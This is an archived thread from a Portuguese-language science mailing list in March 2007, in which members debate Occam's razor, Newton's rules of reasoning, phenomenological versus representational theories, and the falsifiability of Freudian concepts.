TO: ciencialist@yahoogrupos.com.br
DATE: 15/03/2007 05:00

----- Original Message -----
From: "Chicao Valadares"
Sent: Wednesday, March 14, 2007 6:45 PM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico

> Vou fazer uma afirmaçao sobre a navalha de occam e gostaria que vcs
comentassem:
> "O argumento do uso da Navalha de Occam como processo de seleção de
teoria científica é falacioso. Nada garante que a hipotese
consistente mais simples seja a explicação real do fenômeno.

Você está absolutamente certo, o que não significa dizer que aqueles
que utilizam da "navalha de Occam" estejam errados. O problema é que
existem alguns fanáticos que utilizam a navalha de Occam como uma lei
absoluta e a justificar tudo aquilo que *eles querem assumir como
verdadeiro*. Não é raro afirmarem, com toda a pompa a caracterizar um
cientificismo, que a inexistência de Deus decorreria de uma
aplicação "científica" da navalha de Occam (já cheguei a debater isso
aqui na Ciencialist com o desaparecido Jocax). Ou seja, da mesma
maneira que existem "religiosos de pouca fé", a
afirmarem "cientificamente" a existência de Deus, existem também
os "cientistas de pouca ciência", a inverterem o argumento
cientificista a seu bel prazer. Sob esse aspecto, costumo dizer que
sou agnóstico e que todo fanatismo me tira do sério, seja o fanatismo
religioso, seja o fanatismo ateísta. E são esses últimos (fanáticos
ateístas) aqueles que "veneram" a navalha de Occam.

A navalha de Occam não é uma lei mas, como afirma Newton em seu Book
3 dos Principia, uma regra útil (Rule 1, vide abaixo) para ser
utilizada pelos estudiosos de filosofia natural. Como diz o sábio
ditado popular, "toda regra tem exceções", e aqueles que se utilizam
da navalha de Occam deveriam ter esse ditado em mente. Vou reproduzir
abaixo as quatro regras enunciadas por Newton, com os comentários
apenas da primeira:

******* início da citação *******

Rule 1: No more causes of natural things should be admitted than are
both true and sufficient to explain their phenomena. [para uma das
traduções possíveis, vide a msg do Homero]

Comentário: As the philosophers say: Nature does nothing in vain, and
more causes are in vain when fewer suffice. For nature is simple and
does not indulge in the luxury of superfluous causes.

Rule 2: Therefore, the causes assigned to natural effects of the same
kind must be, so far as possible, the same.

Rule 3: Those qualities of bodies that cannot be intended and
remitted [i.e., qualities that cannot be increased and diminished]
and that belong to all bodies on which experiments can be made should
be taken as qualities of all bodies universally.

Rule 4: In experimental philosophy, propositions gathered from
phenomena by induction should be considered either exactly or very
nearly true notwithstanding any contrary hypothese, until yet other
phenomena make such proposition either more exact or liable to
exceptions.

******* final da citação *******

Nada mais a dizer a não ser para concordar com o exposto na msg do
Homero.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.




SUBJECT: Re: [ciencialist] P/ Chicao - Navalha de Ockan - Re: Sobre o Método Cientifico
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/03/2007 06:57

Olá, Homero:

Homero: "Outro ponto é que a teoria "mais simples" não significa a "mais fácil
de ser compreendida".

Victor: um exemplão, do tamanho do mundo: a TRR, fundada sobre dois princípios simples, de onde toda a estrutura de sustentação matemática da TR é extraída(no caso da RG, com uns poucos acréscimos, também simples, como o P. da Equivalência, que ninguém é de ferro, nem mágico). São princípios simples e altamente satisfatórios, sendo estes os requesitos para uma boa teoria. Mesmo impondo dificuldades conceituais, que geram discussões e mais discussões, a estrutua matemática que lhe dá suporte é, muitas vezes, muita mais simples e geral do que outra qualquer. Com a vantagem óbvia: "bater" com os dados experimentais.

Participo, atualmente, de outro fórum, exclusivo de relatividade. Já falei nisso, outro dia. Lá, há uns 3 autores de novas interpretações da relatividade(já indiquei seus sites para vocês), um deles até advoga a teoria do éter em toda sua pujança, mas aceita os dois princípios da TRR; outros, os aceitam, mas com restrições. Etc, etc. Mas, quando se trata das consequências da relatividade, medições de réguas e relógios, sobretudo no que concerne ao paradoxo dos desgraçados dos gêmeos, aí também é demais também: pipocam as mais diversas opiniões, as mais diversas maneiras de eliminar os paradoxos (que não existem). Ma é divertido. Isto torna a asserção seguinte mais próxima da verdade do que qualquer uma outra: "Outro ponto é que a teoria "mais simples" não significa a "mais fácil de ser compreendida."

O exemplo que você de deu clareia bem a questão.

Homero: "A Navalha de Ockam não diz que SEMPRE é a explicação simples a
correta, mas que devemos PREFERIR a explicação mais simples.

Victor: A primeira asserção de vossa lavra, juntamente com esta última, é tudo de que se precisa para ser feliz! Dizem somente isto: tudo que é relevante.

Quando for falar em Navalha de Occam, já sei quem citar. Prá isso servem os amigos inteligentes.

Sds,
Victor.


----- Original Message -----
From: oraculo333
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, March 14, 2007 9:30 PM
Subject: [ciencialist] P/ Chicao - Navalha de Ockan - Re: Sobre o Método Cientifico


Olá Chicão

Chicão: "O argumento do uso da Navalha de Occam como processo
> de seleção de teoria científica é falacioso. Nada
> garante que a hipotese consistente mais simples seja a
> explicação real do fenômeno."

Nada garante. Mas é mais seguro escolher a explicação mais simples, e
esta tem maior probabilidade de ser correta.

Seu erro, comum até, se baseia, me parece, em uma incorreta
compreensão da Navalha de Ockam.

Originalmente, o argumento diz: não multiplique desnecessariamente os
elementos. Ou seja, se um conjunto de elementos explica um sistema de
forma satisfatória, não se deve incluir novos, desnecessários, nessa
explicação. Ou nas palavras de Ockam:

"Pluralitas non est ponenda sine neccesitate" (Entidades não devem ser
multiplicadas além do necessário)

Um exemplo prático, concreto mesmo: se um dispositivo faz algo com 3
peças, e outro faz a mesma coisa com 28 peças (as 3 do anterior, mais
25 peças extras), qual dos dois dispositivos terá maior probabilidade
de apresentar falhas estruturais?

Se o primeiro dispositivo tiver um defeito em uma das 3 peças, o outro
também terá, mas se o outro tiver um defeito, em uma das peças, pode
ser que seja nas 25 extras.

Em termos de teorias o raciocínio é idêntico: se uma teoria explica
bem um fenômeno, com 3 premissas, e outra explica a mesma coisa, mas
com 28 premissas, qual delas pode ser mais passível de apresentar um
erro em sua construção?

Outro ponto é que a teoria "mais simples" não significa a "mais fácil
de ser compreendida". Explicações de física avançada são bastante
complexas, mas não há explicações mais simples que satisfaçam a
exigência final da Navalha. Que também costuma ser "esquecida" na
analise da Navalha: as explicações devem ser igualmente satisfatórias.

Ou seja, se uma explicação com mais elementos explica MELHOR do que a
com poucos elementos, não há porque se aplicar a navalha de Ockam. A
explicação com mais elementos deve ser tomada sem problemas.

Veja esta versão da Navalha proposta por Newton:

"Não se deve admitir mais causas às coisas da natureza que aquelas que
forem tanto verdadeiras quanto suficientes para explicar sua aparência."

Assim, se uma explicação para o fenômeno como a origem das espécies é
bem respondida pela seleção natural e teoria da evolução, inserir um
elemento extra (um ser sobrenatural a interferir no processo) é pouco
lógico ou razoável. E, de acordo com a Navalha, desnecessário.

Uma história para ilustrar. Quando Laplace apresentou a Napoleão seus
cálculos para a gravitação de corpos celestes e planetas, este
reclamou da ausência de Deus no livro. A resposta de Laplace é
lendária: Sire, eu não precisei dessa hipótese.

A Navalha de Ockam não diz que SEMPRE é a explicação simples a
correta, mas que devemos PREFERIR a explicação mais simples. Entre
duas teorias que explicam igualmente bem um fenômeno, a mais simples
deve ser escolhida como base para novos estudos e desdobramentos.

Nada impede, claro, de estudando a teoria, descubramos que esta
apresenta lacunas ou falhas, e seja preciso desenvolver uma nova
teoria ou ajustar a anterior. Nesse caso, a premissa é violada (as
duas teorias NÃO explicam mais igualmente bem o fenômeno, mas uma
delas explica melhor), e a Navalha não mais se aplica.

No caso de Laplace e a gravitação, entre duas teorias, uma que
explicava bem o movimento e órbitas dos corpos, com os dados já
conhecidos, e outra que postulava um ser extra, uma entidade
sobrenatural, complexa, intencional, a controlar cada corpo celeste e
suas relações e órbitas, a primeira hipótese era mais simples. E a
Navalha cortou a segunda por desnecessária.

Espero que a explicação tenha ajudado a esclarecer algumas dúvidas.

Um abraço.

Homero

--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
<chicaovaladares@...> escreveu
>
> Vou fazer uma afirmaçao sobre a navalha de occam e
> gostaria que vcs comentassem:
>
> "O argumento do uso da Navalha de Occam como processo
> de seleção de teoria científica é falacioso. Nada
> garante que a hipotese consistente mais simples seja a
> explicação real do fenômeno. E isso é lógico. Para que
> isso sempre fosse verdade, precisariamos de uma
> amostra de tamanho razoável(casos em que isso é
> verdadeiro) para se poder afirmar estatisticamente que
> isso sempre ocorre. Mas nunca poderemos fazer isso
> porque não conhecemos toda a verdade, ou seja, não
> conhecemos a população de hipoteses possíveis sobre
> todos os fatos do universo."
>
> Eu posso ter me equivocado em alguma coisa mas dá pra
> entender o que eu quero afirmar.
>
> Abraços
>
> "O Binômio de Newton é tão belo como a Vênus de Milo.
> O que há é pouca gente para dar por isso... "
> Fernando Pessoa - Poesias de Alvaro Campos
>
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SUBJECT: Re: [ciencialist] Efeméride: 128 anos de Einstein
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/03/2007 07:03

Takata,

Oportuna lembrança. Mas ousou sugerir que os professores, não só de física, deste fórum, dedicassem alguns minutos de suas aulas, hoje, para falar um pouco sobre Einstein e sua obra. No mínimo, servirá para aumentar a cultura dos estudantes, e fará bem ao juízo do palestrante!.

Sds,
Victor.




----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, March 14, 2007 10:37 PM
Subject: [ciencialist] Efeméride: 128 anos de Einstein


Hj é aniversário do nascimento de Albert Einstein.

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Efeméride: 128 anos de Einstein
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/03/2007 10:40

errata:

ousou, não: ouso!
Victor

----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, March 15, 2007 7:03 AM
Subject: Re: [ciencialist] Efeméride: 128 anos de Einstein


Takata,

Oportuna lembrança. Mas ousou sugerir que os professores, não só de física, deste fórum, dedicassem alguns minutos de suas aulas, hoje, para falar um pouco sobre Einstein e sua obra. No mínimo, servirá para aumentar a cultura dos estudantes, e fará bem ao juízo do palestrante!.

Sds,
Victor.

----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, March 14, 2007 10:37 PM
Subject: [ciencialist] Efeméride: 128 anos de Einstein

Hj é aniversário do nascimento de Albert Einstein.

[]s,

Roberto Takata

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/03/2007 14:50

talvez os métodos aplicados pela "ciência"(entre aspas
pq o meu conceito de ciencia está em crise) sejam bom
para responder " O COMO" mas não "O PORQUÊ".


--- Luiz Ferraz Netto <leobarretos@uol.com.br>
escreveu:

> Que estranho! Minhas idéias básicas sobre o Método,
> o que dele se constrói e o que realmente faz a
> natureza, rolam bem de perto com a excelente
> exposição do Alberto. E já tive oportunidade de
> escrever sobre essas coisas aqui no Clist.
> Até recordo uma frase: "As águas do rio fazem o que
> fazem; todo o restante, correr, escoar, deslocar,
> velocidade, densidade, aceleração etc. etc. são
> produtos da mente humana, são modelos, para os quais
> as águas não dão a mínima satisfação. Todavia, os
> conceitos e teorias montados pela mente humana, os
> modelos, devem funcionar ... pois eles podem prever
> o que as águas farão!" ... ou algo assim.
> Mas, não conhecia essas terminologias de caixas
> negras e translúcidas. Tornaram as idéias bem mais
> claras.
>
> Apreciaria que vc fizesse uma exemplificação do seu
> texto no seguinte tema, vejamos:
> reflexão e refração da luz. "Por que os ângulos etc.
> são iguais?" "Por que a lei dos senos deve ser
> obedecida?"
>
> Penso assim: é da natureza da luz que a reflexão e a
> refração se dê do jeito que são. Leis empíricas,
> baseadas na geometria euclidiana, constatam que
> ângulo i = ângulo r. Isso obviamente "explica o
> fenômeno, mas não o justifica"; o princípio de
> Fermat é bom porque, ao fim e ao cabo, tb permite
> concluir que "ângulo i = ângulo r". Qqer outra
> teoria será boa se, tb, chegar ao "ângulo i = ângulo
> r". Mas ... porque "ângulo i = ângulo r", não está
> ao alcance da Ciência ... AINDA!
>
> aquele abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Alberto Mesquita Filho" <albmesq@uol.com.br>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: quarta-feira, 14 de março de 2007 05:06
> Assunto: [ciencialist] Re: Sobre o Método Cientifico
>
>
> ----- Original Message -----
> From: "Chicao Valadares"
> Sent: Monday, March 12, 2007 12:15 PM
> Subject: Re: [ciencialist] Re: Sobre o Método
> Cientifico
>
>
> > Se voce puder me dizer algo sobre FENOMENOLOGIA
> também seria bom.
>
> O assunto é bastante extenso e, em sua completude, é
> estudado em
> filosofia. Sob esse aspecto generalizante o tema
> está bem tratado em
> http://www.cobra.pages.nom.br/ftm-fenomeno.html .
> Vou tecer apenas
> algumas considerações sobre um aspecto importante
> sob o ponto de
> vista da filosofia da ciência e relacionado à
> teorização em ciências
> naturais (estou fazendo adaptações em um texto que
> escrevi há muito
> tempo --> 1987).
>
> Classicamente existem dois tipos de teorias: 1)
> fenomenológicas e 2)
> representacionais. Os termos não são isentos de
> críticas, havendo
> quem prefira as denominações "teorias de caixa
> negra" e "teorias de
> caixa translúcida", respectivamente. Por vezes
> confunde-se
> fenomenologismo com empirismo e representacionismo
> com realismo. Há
> de se notar, não obstante, que o realismo se utiliza
> dos dois tipos
> de modelos teóricos e, também, que existem teorias
> que se apoiam no
> modelo fenomenológico e, no entanto, estão
> totalmente à margem da
> filosofia empirista.
>
> As teorias fenomenológicas, ou de caixa negra,
> estudam o
> comportamento de um sistema sem, contudo, se
> preocupar com o
> mecanismo interno. São também, e por este motivo,
> chamadas teorias
> behavioristas. O modelo behaviorista satisfaz a
> filosofia empirista,
> pois permite a condensação de grande número de dados
> experimentais e
> a predição da evolução do sistema, sem ultrapassar
> em demasia o
> observável. As teorias fenomenológicas são teorias
> de baixo risco e,
> portanto, dificilmente derrubadas; contudo são menos
> férteis que as
> teorias representacionais.
>
> As teorias representacionais não só aceitam a
> hipótese metafísica da
> existência de um mecanismo interno, mas procuram
> explicar a causa
> imediata dos fenômenos observados; utilizam para
> isto a imaginação
> e/ou a lógica transcendental. Através de modelos
> teóricos imaginários
> prevê fatos novos, e estes últimos devem ser
> corroboráveis
> experimentalmente. Adota como critério de prova a
> concordância das
> conclusões com as leis conhecidas, não sem, é claro,
> desconfiar
> dessas leis.
>
> O cientista realista, como disse, trabalha com os
> dois tipos de
> teorias e, para exemplificar essa conduta vou citar
> um pensamento
> realista de Mário Bunge: "O fim último da teorização
> científica é
> edificar teorias representacionais que abarquem e
> expliquem as
> correspondentes teorias fenomenológicas."
>
> O paradigma das teorias fenomenológicas é a
> termodinâmica clássica,
> talvez a mais bela, a mais completa e a mais
> profunda (ainda que
> fenomenológica) teoria científica. E por mais que se
> pretenda torná-
> la obsoleta, vem resistindo ao passar do tempo e
> alicerçando as
> teorias representacionais que pretendem
> substituí-la. É, sem sombra
> de dúvidas, uma teoria que se adapta à doutrina
> empirista, mas não
> tenham dúvidas de que é muito mais fácil justificar
> o empirismo pelos
> sucessos da termodinâmica do que o inverso.
>
> As teorias não são, em sua grande maioria, nem
> puramente
> fenomenológicas, nem puramente representacionais.
> Utilizam-se de
> ambas as metodologias, situando-se num caminho
> intermediário entre as
> primeiras e as segundas. Em geral iniciam-se como
> uma teoria de caixa
> negra mas, cedo ou tarde, evoluem --às custas de
> raciocínios que
> interrelacionam as leis experimentais observadas--
> para uma teoria de
> caixa cada vez mais transparente.
>
> Exemplos:
>
> . Teoria Fenomenológica Teorias
> Representacional
> . Cinemática
> Dinâmica
> . Óptica Geométrica Óptica
> Física
> . Termodinâmica Mecânica
> Estatística
> . Matriz de Espalhamento Teoria
> Quântica Hamiltoniana
>
> Note-se que os exemplos não pertencem a uma
> classificação absoluta.
> Ninguém vai estudar, por exemplo, aspectos de óptica
> geométrica sem
> relacionar os achados com os conhecimentos
> sabidamente existentes no
> âmbito da óptica física. Por outro lado, a evolução
> da ciência não é
> orientada exclusivamente no sentido de caixa negra
> para translúcida.
> O inverso também é comum, embora também signifique
> um progresso
> representacional. À medida em que os mecanismos
> intrínsecos a uma
> caixa negra primitiva vão se tornando translúcidos,
> nota-se a
> existência de regiões nebulosas que comportam uma
> análise
> fenomenológica. Criam-se assim caixas negras no
> interior de uma caixa
> translúcida, ou uma teoria fenomenológica no seio de
> uma
> representaciona, e a primeira colabora para o
> aprofundamento da
> segunda.
>
=== message truncated ===


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: Sobre o Método Cientifico
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/03/2007 14:55

--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
> talvez os métodos aplicados pela "ciência"(entre aspas
> pq o meu conceito de ciencia está em crise) sejam bom
> para responder " O COMO" mas não "O PORQUÊ".

O q as ciências tendem a responder mal é a pergunta "para quê".

P - "Por que o céu é azul?"
R - Por conta da difusão dos raios pelas partículas e gases da atmosfera.

P - "Para que o céu é azul?"
R - Para nada.

[]s,

Roberto Takata



SUBJECT: P/Chicão - Re: Sobre o Método Cientifico
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/03/2007 15:02

Olá Chicão

O Takata já respondeu, mas eu vou dar mais um pitaco.

Chicão: "talvez os métodos aplicados pela "ciência"(entre aspas
pq o meu conceito de ciencia está em crise) sejam bom
para responder " O COMO" mas não "O PORQUÊ"."

A ciência não está em crise, mas algumas formas de se tentar "usar" a ciência é que, devido a inadequação desta (sua função é outra, com escopo bem definido), podem parecer em crise.

E é preciso cuidado como o "porquê" nestes casos. Nem sempre existe um porquê, o que torna impossível de responder a questão proposta. Usando o exemplo do Takata, o céu não é azul "para" alguma coisa. Seres vivos não existem "para" alguma coisa. A eletricidade não se acumula em nuvens "para" gerar raios. Ela apenas se acumula, devido a leis naturais. É assim "porquê" é assim.

Sabemos, ou podemos entender ou aprender, porque a eletricidade se acumula. Mas não o propósito dessa acumulação, a intenção por tras do fenômeno. Provavelmente , porque não existe nenhuma.

Um abraço.

Homero



----- Original Message -----
From: Chicao Valadares
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, March 15, 2007 2:50 PM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico


talvez os métodos aplicados pela "ciência"(entre aspas
pq o meu conceito de ciencia está em crise) sejam bom
para responder " O COMO" mas não "O PORQUÊ".

--- Luiz Ferraz Netto <leobarretos@uol.com.br>
escreveu:

> Que estranho! Minhas idéias básicas sobre o Método,
> o que dele se constrói e o que realmente faz a
> natureza, rolam bem de perto com a excelente
> exposição do Alberto. E já tive oportunidade de
> escrever sobre essas coisas aqui no Clist.
> Até recordo uma frase: "As águas do rio fazem o que
> fazem; todo o restante, correr, escoar, deslocar,
> velocidade, densidade, aceleração etc. etc. são
> produtos da mente humana, são modelos, para os quais
> as águas não dão a mínima satisfação. Todavia, os
> conceitos e teorias montados pela mente humana, os
> modelos, devem funcionar ... pois eles podem prever
> o que as águas farão!" ... ou algo assim.
> Mas, não conhecia essas terminologias de caixas
> negras e translúcidas. Tornaram as idéias bem mais
> claras.
>
> Apreciaria que vc fizesse uma exemplificação do seu
> texto no seguinte tema, vejamos:
> reflexão e refração da luz. "Por que os ângulos etc.
> são iguais?" "Por que a lei dos senos deve ser
> obedecida?"
>
> Penso assim: é da natureza da luz que a reflexão e a
> refração se dê do jeito que são. Leis empíricas,
> baseadas na geometria euclidiana, constatam que
> ângulo i = ângulo r. Isso obviamente "explica o
> fenômeno, mas não o justifica"; o princípio de
> Fermat é bom porque, ao fim e ao cabo, tb permite
> concluir que "ângulo i = ângulo r". Qqer outra
> teoria será boa se, tb, chegar ao "ângulo i = ângulo
> r". Mas ... porque "ângulo i = ângulo r", não está
> ao alcance da Ciência ... AINDA!
>
> aquele abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Alberto Mesquita Filho" <albmesq@uol.com.br>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: quarta-feira, 14 de março de 2007 05:06
> Assunto: [ciencialist] Re: Sobre o Método Cientifico
>
>
> ----- Original Message -----
> From: "Chicao Valadares"
> Sent: Monday, March 12, 2007 12:15 PM
> Subject: Re: [ciencialist] Re: Sobre o Método
> Cientifico
>
>
> > Se voce puder me dizer algo sobre FENOMENOLOGIA
> também seria bom.
>
> O assunto é bastante extenso e, em sua completude, é
> estudado em
> filosofia. Sob esse aspecto generalizante o tema
> está bem tratado em
> http://www.cobra.pages.nom.br/ftm-fenomeno.html .
> Vou tecer apenas
> algumas considerações sobre um aspecto importante
> sob o ponto de
> vista da filosofia da ciência e relacionado à
> teorização em ciências
> naturais (estou fazendo adaptações em um texto que
> escrevi há muito
> tempo --> 1987).
>
> Classicamente existem dois tipos de teorias: 1)
> fenomenológicas e 2)
> representacionais. Os termos não são isentos de
> críticas, havendo
> quem prefira as denominações "teorias de caixa
> negra" e "teorias de
> caixa translúcida", respectivamente. Por vezes
> confunde-se
> fenomenologismo com empirismo e representacionismo
> com realismo. Há
> de se notar, não obstante, que o realismo se utiliza
> dos dois tipos
> de modelos teóricos e, também, que existem teorias
> que se apoiam no
> modelo fenomenológico e, no entanto, estão
> totalmente à margem da
> filosofia empirista.
>
> As teorias fenomenológicas, ou de caixa negra,
> estudam o
> comportamento de um sistema sem, contudo, se
> preocupar com o
> mecanismo interno. São também, e por este motivo,
> chamadas teorias
> behavioristas. O modelo behaviorista satisfaz a
> filosofia empirista,
> pois permite a condensação de grande número de dados
> experimentais e
> a predição da evolução do sistema, sem ultrapassar
> em demasia o
> observável. As teorias fenomenológicas são teorias
> de baixo risco e,
> portanto, dificilmente derrubadas; contudo são menos
> férteis que as
> teorias representacionais.
>
> As teorias representacionais não só aceitam a
> hipótese metafísica da
> existência de um mecanismo interno, mas procuram
> explicar a causa
> imediata dos fenômenos observados; utilizam para
> isto a imaginação
> e/ou a lógica transcendental. Através de modelos
> teóricos imaginários
> prevê fatos novos, e estes últimos devem ser
> corroboráveis
> experimentalmente. Adota como critério de prova a
> concordância das
> conclusões com as leis conhecidas, não sem, é claro,
> desconfiar
> dessas leis.
>
> O cientista realista, como disse, trabalha com os
> dois tipos de
> teorias e, para exemplificar essa conduta vou citar
> um pensamento
> realista de Mário Bunge: "O fim último da teorização
> científica é
> edificar teorias representacionais que abarquem e
> expliquem as
> correspondentes teorias fenomenológicas."
>
> O paradigma das teorias fenomenológicas é a
> termodinâmica clássica,
> talvez a mais bela, a mais completa e a mais
> profunda (ainda que
> fenomenológica) teoria científica. E por mais que se
> pretenda torná-
> la obsoleta, vem resistindo ao passar do tempo e
> alicerçando as
> teorias representacionais que pretendem
> substituí-la. É, sem sombra
> de dúvidas, uma teoria que se adapta à doutrina
> empirista, mas não
> tenham dúvidas de que é muito mais fácil justificar
> o empirismo pelos
> sucessos da termodinâmica do que o inverso.
>
> As teorias não são, em sua grande maioria, nem
> puramente
> fenomenológicas, nem puramente representacionais.
> Utilizam-se de
> ambas as metodologias, situando-se num caminho
> intermediário entre as
> primeiras e as segundas. Em geral iniciam-se como
> uma teoria de caixa
> negra mas, cedo ou tarde, evoluem --às custas de
> raciocínios que
> interrelacionam as leis experimentais observadas--
> para uma teoria de
> caixa cada vez mais transparente.
>
> Exemplos:
>
> . Teoria Fenomenológica Teorias
> Representacional
> . Cinemática
> Dinâmica
> . Óptica Geométrica Óptica
> Física
> . Termodinâmica Mecânica
> Estatística
> . Matriz de Espalhamento Teoria
> Quântica Hamiltoniana
>
> Note-se que os exemplos não pertencem a uma
> classificação absoluta.
> Ninguém vai estudar, por exemplo, aspectos de óptica
> geométrica sem
> relacionar os achados com os conhecimentos
> sabidamente existentes no
> âmbito da óptica física. Por outro lado, a evolução
> da ciência não é
> orientada exclusivamente no sentido de caixa negra
> para translúcida.
> O inverso também é comum, embora também signifique
> um progresso
> representacional. À medida em que os mecanismos
> intrínsecos a uma
> caixa negra primitiva vão se tornando translúcidos,
> nota-se a
> existência de regiões nebulosas que comportam uma
> análise
> fenomenológica. Criam-se assim caixas negras no
> interior de uma caixa
> translúcida, ou uma teoria fenomenológica no seio de
> uma
> representaciona, e a primeira colabora para o
> aprofundamento da
> segunda.
>
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"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/03/2007 15:30

Outras indagações:

"Tenho a impressão de que muitas teorias do ramo das
ciências psiquícas e sociais não são falseáveis. Por
exemplo, como eu posso saber se existe um id/superego
de verdade ?
Fazer tal afirmação não é logicamente equivalente a
fazer a alegação de que existe um ser metafísico
influenciando meu cerébro ??. Se eu olho apenas o
comportamente externo, ambos vão me levar ao mesmo
efeito. Será que eu posso aplicar a navalha de ocam
entre freud e o ser metafísico?? Mais ainda, será que
eu posso aplicar a navalha de ocam para dois modelos
construídos sobre paradigmas diferentes(ex: POpper e
Lakatos) de um mesmo fenômeno no intuito de decidir
qual modelo é o melhor???"




"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: P/ Chicão - Re: Sobre o Método Cientifico
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/03/2007 16:02

Olá Chicão

Suas indagações vão acabar servidno de fonte para um livro (ou mais) sobre ciência, filosofia, racionalidade, etc..:-) É divertido, mas dá um trabalho responder a isso tudo..:-)

Chicão: "Tenho a impressão de que muitas teorias do ramo das
ciências psiquícas e sociais não são falseáveis. Por
exemplo, como eu posso saber se existe um id/superego
de verdade ?"

Só isso já daria margem a livros e mais livros, com gente defendo ambos os lados da questão (e outros lados não imaginados ainda). Para mim, e é minha posição pessoal, é um pouco de cada: existem aspectos e conhecimentos nessas áreas que são claramente científicos, e aspectos que são menos científicos, por subjetivos demais.

Um físico diria que ciência é só a do tipo "hard", um psicologo diria que não.

Mas podemos abordar o problema de uma forma mais flexivel. Por exemplo, cientificamente, dentro do conceito de descrever o mundo a nossa volta, de forma coerente e compreensivel, importa menos se existe mesmo um Id, ego e super-ego, do que perceber que as coisas em nossa mente "se comportam como se existissem" um Id, ego e super-ego. Se for uma boa descrição de mundo, para a mente, se resolve problemas e permite previsões e compreensão, é uma teoria útil e correta. Até que novos dados ou novas descobertas a superem.

Na verdade, toda teoria científica funciona dessa forma, apresentando teorias que explicam o mundo, que se comporta "como se fossem" dessa ou daquela forma.

Se descobrirmos que o Id na verdade é um subsoftware, um subsistema independente, com processos próprios, ótimo, podemos substituir ou ajustar a teoria do Id, a psicologia inclusive, a estes novos dados. Mas no momento, podemos lidar com a psicologia como uma boa descrição de fenomenos ainda vagos e sutis.

Um esquizofrenico tem esquizofrenia, um distúrbio que não entendemos muito bem ainda. Este distúrbio se desenvolve afetando tanto o metabolismo do cérebro, como aspectos da psicologia da mente desse cérebro. Não podemos abandonar nenhuma das duas decorrências desse fenomeno chamado esquizofrenia, pelo menos no momento.

Chicão: "Fazer tal afirmação não é logicamente equivalente a
fazer a alegação de que existe um ser metafísico
influenciando meu cerébro ??. "

Aqui está um tanto enganado. Um ser metafísico tem intenção, vontade própria e não pode ser incluído na teoria de forma objetiva ou racional. Os Id, ego e super-ego podem. São descrições de fenomenos, não entidades autonomas. Drogas, como o LSD, podem provocar alucinações de duendes, afetando processos neurológicos do cérebro. Isso é parte da ciência, e pode ser incluída na descrição de mundo dessa teoria. Duendes de verdade são entidades autonomas, com intenção própria, e não podem ser incluídos na teoria, nem permitem previsões (pelo menos, na forma padrão de definir duendes, claro - se descobrirmos que duendes são visitantes de Alpha centauri, que vivem a nos espionar em jardins e florestas, passam a poder ser incluídos na teoria científica que será baseada neles..:-).

Chicão: "Será que eu posso aplicar a navalha de ocam entre freud e o ser metafísico?? "

Em boa parte de Freud, pode, sem problemas. Na parte que não pode, estará no terreno das hipóteses puras, e mesmo Freud não as levaria tão à sério, sem mais evidências sólidas.

Chicão: "Mais ainda, será que
eu posso aplicar a navalha de ocam para dois modelos
construídos sobre paradigmas diferentes(ex: POpper e
Lakatos) de um mesmo fenômeno no intuito de decidir
qual modelo é o melhor???""

Uma questão filosófica, subjetiva demais, me parece. A ciência lida com pouco sucesso com esta área, e não vejo como demonstrar com confiabilidade uma resposta absoluta. Da mesma forma, não vejo como distinguir entre duas proposições metafisicas, discordantes entre si, como visões de mundo religiosas distintas. Há alguma maneira de decidir, de forma convincente e confiável, se a posição que afirma que vivemos uma única vez, para espiar pecados originais, e depois vamos para o encontro da divindade criadora, ou sofrer eternamente, é melhor ou mais correta com a que defende que é ilusão, e nosso ser apenas vaga até se aprimorar o suficiente para se fundir a mente cósmica, após inúmeras gerações neste mundo? Com ou sem a Navalha de Ockam?

